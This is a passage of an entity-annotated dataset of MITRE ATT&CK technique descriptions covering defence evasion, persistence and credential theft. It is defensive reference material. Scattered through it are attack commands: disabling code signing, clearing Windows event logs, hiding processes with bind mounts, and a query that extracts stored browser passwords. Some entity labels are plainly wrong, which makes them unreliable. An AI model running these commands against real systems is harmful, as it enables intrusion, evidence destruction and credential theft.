[999, 1009]], "FILEPATH: C:\\Windows\\system32\\cmd.exe": [[886, 913]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1218.015"}} {"text": "Adversaries may disable or modify the Linux audit system to hide malicious activity and avoid detection. Linux admins use the Linux Audit system to track security-relevant information on a system. The Linux Audit system operates at the kernel-level and maintains event logs on application and system activity such as process, network, file, and login events based on pre-configured rules.\n\nOften referred to as `auditd`, this is the name of the daemon used to write events to disk and is governed by the parameters set in the `audit.conf` configuration file. Two primary ways to configure the log generation rules are through the command line `auditctl` utility and the file `/etc/audit/audit.rules`, containing a sequence of `auditctl` commands loaded at boot time.\n\nWith root privileges, adversaries may be able to ensure their activity is not logged through disabling the Audit system service, editing the configuration/rule files, or by hooking the Audit system library functions. Using the command line, adversaries can disable the Audit system service through killing processes associated with `auditd` daemon or use `systemctl` to stop the Audit service. Adversaries can also hook Audit system functions to disable logging or modify the rules contained in the `/etc/audit/audit.rules` or `audit.conf` files to ignore malicious activity.", "spans": {"SYSTEM: Linux": [[38, 43], [105, 110], [126, 131], [201, 206]], "TOOL: at": [[229, 231], [754, 756]], "FILEPATH: /etc/audit/audit.rules`": [[676, 699], [1269, 1292]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1562.012"}} {"text": "Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.\n\nRegistering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. \n\nThis technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform SID-History Injection and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence.", "spans": {"SYSTEM: Active Directory": [[77, 93], [200, 216]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1207"}} {"text": "Adversaries may modify code signing policies to enable execution of unsigned or self-signed code. Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on an operating system. \n\nSome of these security controls may be enabled by default, such as Driver Signature Enforcement (DSE) on Windows or System Integrity Protection (SIP) on macOS. Other such controls may be disabled by default but are configurable through application controls, such as only allowing signed Dynamic-Link Libraries (DLLs) to execute on a system. Since it can be useful for developers to modify default signature enforcement policies during the development and testing of applications, disabling of these features may be possible with elevated permissions.\n\nAdversaries may modify code signing policies in a number of ways, including through use of command-line or GUI utilities, Modify Registry, rebooting the computer in a debug/recovery mode, or by altering the value of variables in kernel memory. Examples of commands that can modify the code signing policy of a system include bcdedit.exe -set TESTSIGNING ON on Windows and csrutil disable on macOS. Depending on the implementation, successful modification of a signing policy may require reboot of the compromised system. Additionally, some implementations can introduce visible artifacts for the user (ex: a watermark in the corner of the screen stating the system is in Test Mode). Adversaries may attempt to remove such artifacts.\n\nTo gain access to kernel memory to modify variables related to signature checks, such as modifying g_CiOptions to disable Driver Signature Enforcement, adversaries may conduct Exploitation for Privilege Escalation using a signed, but vulnerable driver.", "spans": {"SYSTEM: Windows": [[469, 476], [1289, 1296]], "SYSTEM: macOS": [[517, 522], [1333, 1338]], "SYSTEM: Registry": [[1045, 1053]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1553.006"}} {"text": "Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment. In Kubernetes environments, an adversary may attempt to deploy a privileged or vulnerable container into a specific node in order to Escape to Host and access other containers running on the node. \n\nContainers can be deployed by various means, such as via Docker's create and start APIs or via a web application such as the Kubernetes dashboard or Kubeflow. In Kubernetes environments, containers may be deployed through workloads such as ReplicaSets or DaemonSets, which can allow containers to be deployed across multiple nodes. Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.", "spans": {"SYSTEM: Kubernetes": [[438, 448], [785, 795], [823, 833]], "SYSTEM: Docker": [[691, 697]], "TOOL: at": [[1139, 1141]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1610"}} {"text": "Adversaries may interact with the Windows Registry as part of a variety of other techniques to aid in defense evasion, persistence, and execution.\n\nAccess to specific areas of the Registry depends on account permissions, with some keys requiring administrator-level access. The built-in Windows command-line utility Reg may be used for local or remote Registry modification. Other tools, such as remote access tools, may also contain functionality to interact with the Registry through the Windows API.\n\nThe Registry may be modified in order to hide configuration information or malicious payloads via Obfuscated Files or Information. The Registry may also be modified to Impair Defenses, such as by enabling macros for all Microsoft Office products, allowing privilege escalation without alerting the user, increasing the maximum number of allowed outbound requests, and/or modifying systems to store plaintext credentials in memory.\n\nThe Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system. Often Valid Accounts are required, along with access to the remote system's SMB/Windows Admin Shares for RPC communication.\n\nFinally, Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via Reg or other utilities using the Win32 API. Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence.", "spans": {"SYSTEM: Windows Registry": [[34, 50]], "SYSTEM: Access": [[148, 154]], "SYSTEM: Registry": [[180, 188], [352, 360], [469, 477], [508, 516], [639, 647], [940, 948], [1065, 1073], [1252, 1260]], "SYSTEM: Windows": [[287, 294], [490, 497], [1198, 1205]], "TOOL: Reg": [[316, 319], [1424, 1427]], "SYSTEM: API": [[498, 501]], "SYSTEM: Microsoft Office": [[724, 740]], "SYSTEM: SMB": [[1194, 1197]], "SYSTEM: Win32 API": [[1457, 1466]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1112"}} {"text": "Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in /System/Library/LaunchDaemons/ and /Library/LaunchDaemons/. Required Launch Daemons parameters include a Label to identify the task, Program to provide a path to the executable, and RunAtLoad to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.\n\nAdversaries may install a Launch Daemon configured to execute at startup by using the RunAtLoad parameter set to true and the Program parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. Masquerading). When the Launch Daemon is executed, the program inherits administrative permissions.\n\nAdditionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as usr/local/bin to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.", "spans": {"SYSTEM: macOS": [[205, 210], [399, 404]], "TOOL: at": [[1010, 1012]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1543.004"}} {"text": "An adversary may attempt to discover infrastructure and resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.\n\nCloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, the ListBuckets API that returns a list of all buckets owned by the authenticated sender of the request, the HeadBucket API to determine a bucket’s existence along with access permissions of the request sender, or the GetPublicAccessBlock API to retrieve access block configuration for a bucket. Similarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project , and Azure's CLI command az vm list lists details of virtual machines. In addition to API commands, adversaries can utilize open source tools to discover cloud storage infrastructure through Wordlist Scanning.\n\nAn adversary may enumerate resources using a compromised user's access keys to determine which are available to that user. The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as DescribeDBInstances to determine size, owner, permissions, and network ACLs of database resources. Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in Cloud Service Discovery, this technique focuses on the discovery of components of the provided services rather than the services themselves.", "spans": {"SYSTEM: AWS": [[451, 454]], "SYSTEM: API": [[497, 500], [523, 526], [631, 634], [748, 751], [880, 883], [1189, 1192]], "ORGANIZATION: Amazon": [[512, 518]], "SYSTEM: EC2": [[519, 522]], "SYSTEM: GCP": [[948, 951]], "ORGANIZATION: Google": [[1044, 1050]], "SYSTEM: Azure": [[1095, 1100]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1580"}} {"text": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser. Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key.\n \nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the Windows Credential Manager.\n\nAdversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).", "spans": {"SYSTEM: Windows": [[432, 439], [796, 803], [1029, 1036], [1130, 1137]], "SYSTEM: Google Chrome": [[492, 505]], "ORGANIZATION: Google": [[554, 560]], "SYSTEM: Chrome": [[561, 567]], "SYSTEM: API": [[804, 807]], "SYSTEM: Safari": [[1010, 1016]], "SYSTEM: Edge": [[1018, 1022], [1076, 1080]], "SYSTEM: Internet Explorer": [[1044, 1061]], "ORGANIZATION: Microsoft": [[1066, 1075]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1555.003"}} {"text": "Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.\n\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike DLL search order hijacking, the search order differs depending on the method that is used to execute the program. However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument net user. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then cmd.exe /C net user will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. \n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in DLL.", "spans": {"TOOL: at": [[338, 340]], "SYSTEM: Windows": [[452, 459], [659, 666], [749, 756], [1303, 1310]], "TOOL: cmd.exe": [[1111, 1118], [1441, 1448]], "DOMAIN: net.com": [[1385, 1392], [1482, 1489]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1574.008"}} {"text": "Adversaries may modify visual content available internally or externally to an enterprise network, thus affecting the integrity of the original content. Reasons for Defacement include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of Defacement in order to cause user discomfort, or to pressure compliance with accompanying messages.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1491"}} {"text": "Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure.\n\nCloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected.\n\nA variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity.\n\nAn example of adversary use of unused AWS regions is to mine cryptocurrency through Resource Hijacking, which can cost organizations substantial amounts of money over time depending on the processing power used.", "spans": {"SYSTEM: Access": [[105, 111]], "SYSTEM: AWS": [[860, 863]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1535"}} {"text": "Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as Network Sniffing or Transmitted Data Manipulation.\n\nDHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients. The typical server-client interaction is as follows: \n\n1. The client broadcasts a `DISCOVER` message.\n\n2. The server responds with an `OFFER` message, which includes an available network address. \n\n3. The client broadcasts a `REQUEST` message, which includes the network address offered. \n\n4. The server acknowledges with an `ACK` message and the client receives the network configuration parameters.\n\nAdversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers. Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.\n\nDHCPv6 clients can receive network configuration information without being assigned an IP address by sending a INFORMATION-REQUEST (code 11) message to the All_DHCP_Relay_Agents_and_Servers multicast address. Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations.\n\nRather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e, Service Exhaustion Flood) by generating many broadcast DISCOVER messages to exhaust a network’s DHCP allocation pool.", "spans": {"SYSTEM: DHCP": [[117, 121], [157, 161], [489, 493], [620, 624], [1140, 1144], [1283, 1287], [1742, 1746], [1830, 1834], [1987, 1991], [2014, 2018], [2139, 2143]], "SYSTEM: DNS": [[1323, 1326]], "TOOL: route": [[1454, 1459]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1557.003"}} {"text": "Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service.\n\nAdversaries may commandeer these sessions to carry out actions on remote systems. Remote Service Session Hijacking differs from use of Remote Services because it hijacks an existing session rather than creating a new session using Valid Accounts.", "spans": {"SYSTEM: SSH": [[233, 236]], "TOOL: RDP": [[242, 245]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1563"}} {"text": "Adversaries may abuse bind mounts on file structures to hide their activity and artifacts from native utilities. A bind mount maps a directory or file from one location on the filesystem to another, similar to a shortcut on Windows. It’s commonly used to provide access to specific files or directories across different environments, such as inside containers or chroot environments, and requires sudo access. \n\nAdversaries may use bind mounts to map either an empty directory or a benign `/proc` directory to a malicious process’s `/proc` directory. Using the commands `mount –o bind /proc/benign-process /proc/malicious-process` (or `mount –B`), the malicious process's `/proc` directory is overlayed with the contents of a benign process's `/proc` directory. When system utilities query process activity, such as `ps` and `top`, the kernel follows the bind mount and presents the benign directory’s contents instead of the malicious process's actual `/proc` directory. As a result, these utilities display information that appears to come from the benign process, effectively hiding the malicious process's metadata, executable, or other artifacts from detection.", "spans": {"TOOL: mount": [[120, 125], [571, 576], [636, 641], [860, 865]], "SYSTEM: Windows": [[224, 231]], "FILEPATH: /proc/benign-process": [[585, 605]], "FILEPATH: /proc/malicious-process`": [[606, 630]], "TOOL: ps": [[817, 819]], "TOOL: top": [[826, 829]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1564.013"}} {"text": "Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations. \n\nBinary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures. The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware. Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1027.001"}} {"text": "Adversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to access the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server.\n\nIn addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (e.g. China Chopper Web shell client).", "spans": {"MALWARE: China Chopper": [[504, 517]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1505.003"}} {"text": "Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predictable network path `\\\\SYSVOL\\\\Policies\\`. \n\nLike other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.\n\nMalicious GPO modifications can be used to implement many other malicious behaviors such as Scheduled Task/Job, Disable or Modify Tools, Ingress Tool Transfer, Create Account, Service Execution, and more. Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.\n\nFor example, publicly available scripts such as New-GPOImmediateTask can be leveraged to automate the creation of a malicious Scheduled Task/Job by modifying GPO settings, in this case modifying <GPO_PATH>\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml. In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.", "spans": {"SYSTEM: Group Policy": [[23, 35]], "SYSTEM: Active Directory": [[266, 282]], "SYSTEM: GPO": [[608, 611], [713, 716], [1059, 1062], [1242, 1245], [1289, 1292], [1476, 1479]], "ORGANIZATION: Microsoft": [[1497, 1506]], "SYSTEM: Windows NT": [[1507, 1517]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1484.001"}} {"text": "Adversaries may enumerate information about browsers to learn more about compromised environments. Data saved by browsers (such as bookmarks, accounts, and browsing history) may reveal a variety of personal information about users (e.g., banking sites, relationships/interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.\n\nBrowser information may also highlight additional targets after an adversary has access to valid credentials, especially Credentials In Files associated with logins cached by a browser.\n\nSpecific storage locations vary based on platform and/or application, but browser information is typically stored in local files and databases (e.g., `%APPDATA%/Google/Chrome`).", "spans": {"FILEPATH: %APPDATA%": [[757, 766]], "ORGANIZATION: Google": [[767, 773]], "SYSTEM: Chrome": [[774, 780]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1217"}} {"text": "Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. \n\nAdversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\ on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.\n\nWhen a device is registered to Entra ID, a device key and a transport key are generated and used to verify the device’s identity. An adversary with access to the device may be able to export the keys in order to impersonate the device.\n\nOn network devices, private keys may be exported via Network Device CLI commands such as `crypto pki export`. \n\nSome private keys require a password or passphrase for operation, so an adversary may also use Input Capture for keylogging or attempt to Brute Force the passphrase off-line. These private keys can be used to authenticate to Remote Services like SSH or for use in decrypting other collected files such as email.", "spans": {"TOOL: ssh": [[420, 423], [509, 512]], "SYSTEM: SSH": [[435, 438], [1254, 1257]], "SYSTEM: Windows": [[528, 535]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1552.004"}} {"text": "Adversaries may buy, lease, rent, or obtain physical servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, such as watering hole operations in Drive-by Compromise, enabling Phishing operations, or facilitating Command and Control. Instead of compromising a third-party Server or renting a Virtual Private Server, adversaries may opt to configure and run their own servers in support of operations. Free trial periods of cloud servers may also be abused. \n\nAdversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1583.004"}} {"text": "Adversaries may use Valid Accounts to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.\n\nWinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). It may be called with the `winrm` command or by any number of programs such as PowerShell. WinRM can be used as a method of remotely interacting with Windows Management Instrumentation.", "spans": {"TOOL: Windows Remote Management": [[73, 98]], "TOOL: WinRM": [[100, 105], [171, 176], [438, 443]], "SYSTEM: Windows": [[199, 206]], "SYSTEM: Registry": [[319, 327]], "TOOL: PowerShell": [[426, 436]], "SYSTEM: Windows Management Instrumentation": [[498, 532]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1021.006"}} {"text": "Adversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel. If the command and control network is a wired Internet connection, an adversary may opt to exfiltrate data using a Bluetooth communication channel.\n\nAdversaries may choose to do this if they have sufficient access and proximity. Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1011.001"}} {"text": "Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS, the root user account in ESXi, and the default service account in Kubernetes.\n\nDefault accounts are not limited to client machines; rather, they also include accounts that are preset for equipment such as network devices and computer applications, whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen Private Keys or credential materials to legitimately connect to remote environments via Remote Services.\n\nDefault accounts may be created on a system after initial setup by connecting or integrating it with another application. For example, when an ESXi server is connected to a vCenter server, a default privileged account called `vpxuser` is created on the ESXi server. If a threat actor is able to compromise this account’s credentials (for example, via Exploitation for Credential Access on the vCenter host), they will then have access to the ESXi server.", "spans": {"SYSTEM: Access": [[96, 102], [1483, 1489]], "SYSTEM: Windows": [[260, 267]], "SYSTEM: AWS": [[429, 432]], "SYSTEM: Kubernetes": [[500, 510]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1078.001"}} {"text": "Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains. W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of `HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\`. The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.\n\nAdversaries may abuse this architecture to establish persistence, specifically by creating a new arbitrarily named subkey pointing to a malicious DLL in the `DllName` value. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.", "spans": {"SYSTEM: Windows": [[80, 87]], "TOOL: at": [[635, 637]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1547.003"}} {"text": "Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d.\n\nAdversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where \"command list\" will be executed when \"signals\" are received.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1546.005"}} {"text": "Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from various environment variables and files, such as LD_PRELOAD on Linux or DYLD_INSERT_LIBRARIES on macOS. Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name. Each platform's linker uses an extensive list of environment variables at different points in execution. These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions in the original library.\n\nHijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. On Linux, adversaries may set LD_PRELOAD to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. For example, adversaries have used `LD_PRELOAD` to inject a malicious library into every descendant process of the `sshd` daemon, resulting in execution under a legitimate process. When the executing sub-process calls the `execve` function, for example, the malicious library’s `execve` function is executed rather than the system function `execve` contained in the system library on disk. This allows adversaries to Hide Artifacts from detection, as hooking system functions such as `execve` and `readdir` enables malware to scrub its own artifacts from the results of commands such as `ls`, `ldd`, `iptables`, and `dmesg`.\n\nHijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges.", "spans": {"SYSTEM: Linux": [[342, 347], [957, 962]], "SYSTEM: macOS": [[389, 394]], "TOOL: at": [[599, 601]], "TOOL: iptables": [[1832, 1840]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1574.006"}} {"text": "Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. \n\nFor example, with a sufficient level of access, the Windows net user /add command can be used to create a local account. In Linux, the `useradd` command can be used, while on macOS systems, the dscl -create command can be used. Local accounts may also be added to network devices, often via common Network Device CLI commands such as username, to ESXi servers via `esxcli system account add`, or to Kubernetes clusters using the `kubectl` utility.\n\nAdversaries may also create new local accounts on network firewall management consoles – for example, by exploiting a vulnerable firewall management system, threat actors may be able to establish super-admin accounts that could be used to modify firewall rules and gain further access to the network.\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.", "spans": {"SYSTEM: Windows": [[283, 290]], "SYSTEM: Linux": [[369, 374]], "SYSTEM: macOS": [[420, 425]], "SYSTEM: Kubernetes": [[670, 680]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1136.001"}} {"text": "Threat actors may seek information/indicators from closed or open threat intelligence sources gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. These reports may include descriptions of behavior, detailed breakdowns of attacks, atomic indicators such as malware hashes or IP addresses, timelines of a group’s activity, and more. Adversaries may change their behavior when planning their future operations. \n\nAdversaries have been observed replacing atomic indicators mentioned in blog posts in under a week. Adversaries have also been seen searching for their own domain names in threat vendor data and then taking them down, likely to avoid seizure or further investigation.\n\nThis technique is distinct from Threat Intel Vendors in that it describes threat actors performing reconnaissance on their own activity, not in search of victim information.", "spans": {"ORGANIZATION: Intel": [[851, 856]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1681"}} {"text": "Adversaries may simulate keystrokes on a victim’s computer by various means to perform any type of action on behalf of the user, such as launching the command interpreter using keyboard shortcuts, typing an inline script to be executed, or interacting directly with a GUI-based application. These actions can be preprogrammed into adversary tooling or executed through physical devices such as Human Interface Devices (HIDs).\n\nFor example, adversaries have used tooling that monitors the Windows message loop to detect when a user visits bank-specific URLs. If detected, the tool then simulates keystrokes to open the developer console or select the address bar, pastes malicious JavaScript from the clipboard, and executes it - enabling manipulation of content within the browser, such as replacing bank account numbers during transactions.\n\nAdversaries have also used malicious USB devices to emulate keystrokes that launch PowerShell, leading to the download and execution of malware from adversary-controlled servers.", "spans": {"SYSTEM: Windows": [[490, 497]], "SYSTEM: JavaScript": [[682, 692]], "TOOL: PowerShell": [[928, 938]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1674"}} {"text": "Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by Replication Through Removable Media. Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1092"}} {"text": "Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit.\n\n\nWith administrator privileges, the event logs can be cleared with the following utility commands:\n\n* wevtutil cl system\n* wevtutil cl application\n* wevtutil cl security\n\nThese logs may also be cleared through other mechanisms, such as the event viewer GUI or PowerShell. For example, adversaries may use the PowerShell command Remove-EventLog -LogName Security to delete the Security EventLog and after reboot, disable future logging. Note: events may still be generated and logged in the .evtx file between the time the command is run and the reboot.\n\nAdversaries may also attempt to clear logs by directly deleting the stored log files within 